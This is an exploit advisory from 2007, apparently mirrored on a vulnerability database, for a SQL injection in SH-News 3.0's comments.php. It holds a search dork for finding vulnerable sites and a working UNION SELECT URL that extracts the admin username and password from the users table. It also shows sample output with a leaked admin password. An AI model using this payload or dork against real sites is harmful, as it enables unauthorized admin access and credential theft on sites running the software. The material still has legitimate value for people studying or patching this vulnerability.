SH-News 3.0 (comments.php id) Remote SQL Injection Vulnerability

🗓️ 11 Dec 2007 00:00:00Reported by RootType

SH-News 3.0 Remote SQL Injection Vulnerability discovered by hadihadi. Thanks to MR.nosrati, black.shadowes, MR.hesy, Zahra and all virangar members. Exploit allows unauthorized access to admin credentials


                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;...:::::SH-News&nbsp;3.0&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility&nbsp;::::....&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.org
www.virangar.net

--------
Discoverd&nbsp;By&nbsp;:&nbsp;hadihadi

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;iranian&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
-----------------------------------
dork:&nbsp;Powered&nbsp;by&nbsp;SH-News&nbsp;3.0
-----------------------------------
vlu:
http://site.com/patch/comments.php?id=-1'union%20select%201,2,nick,4,5,password,7%20from%20shnews3_users%20where%20id=1/*

-------------------------------------
you&nbsp;can&nbsp;see&nbsp;somting&nbsp;such&nbsp;as:
Poster:&nbsp;&nbsp;&nbsp;admin&nbsp;Posted:&nbsp;01.01.1970&nbsp;03:30
z4478ad
#############
'admin'&nbsp;is&nbsp;admin&nbsp;user&nbsp;&amp;&nbsp;'z4478ad'&nbsp;is&nbsp;admin&nbsp;password
-------------------------------------

11 Dec 2007 00:00Current

7.1High risk

Vulners AI Score7.1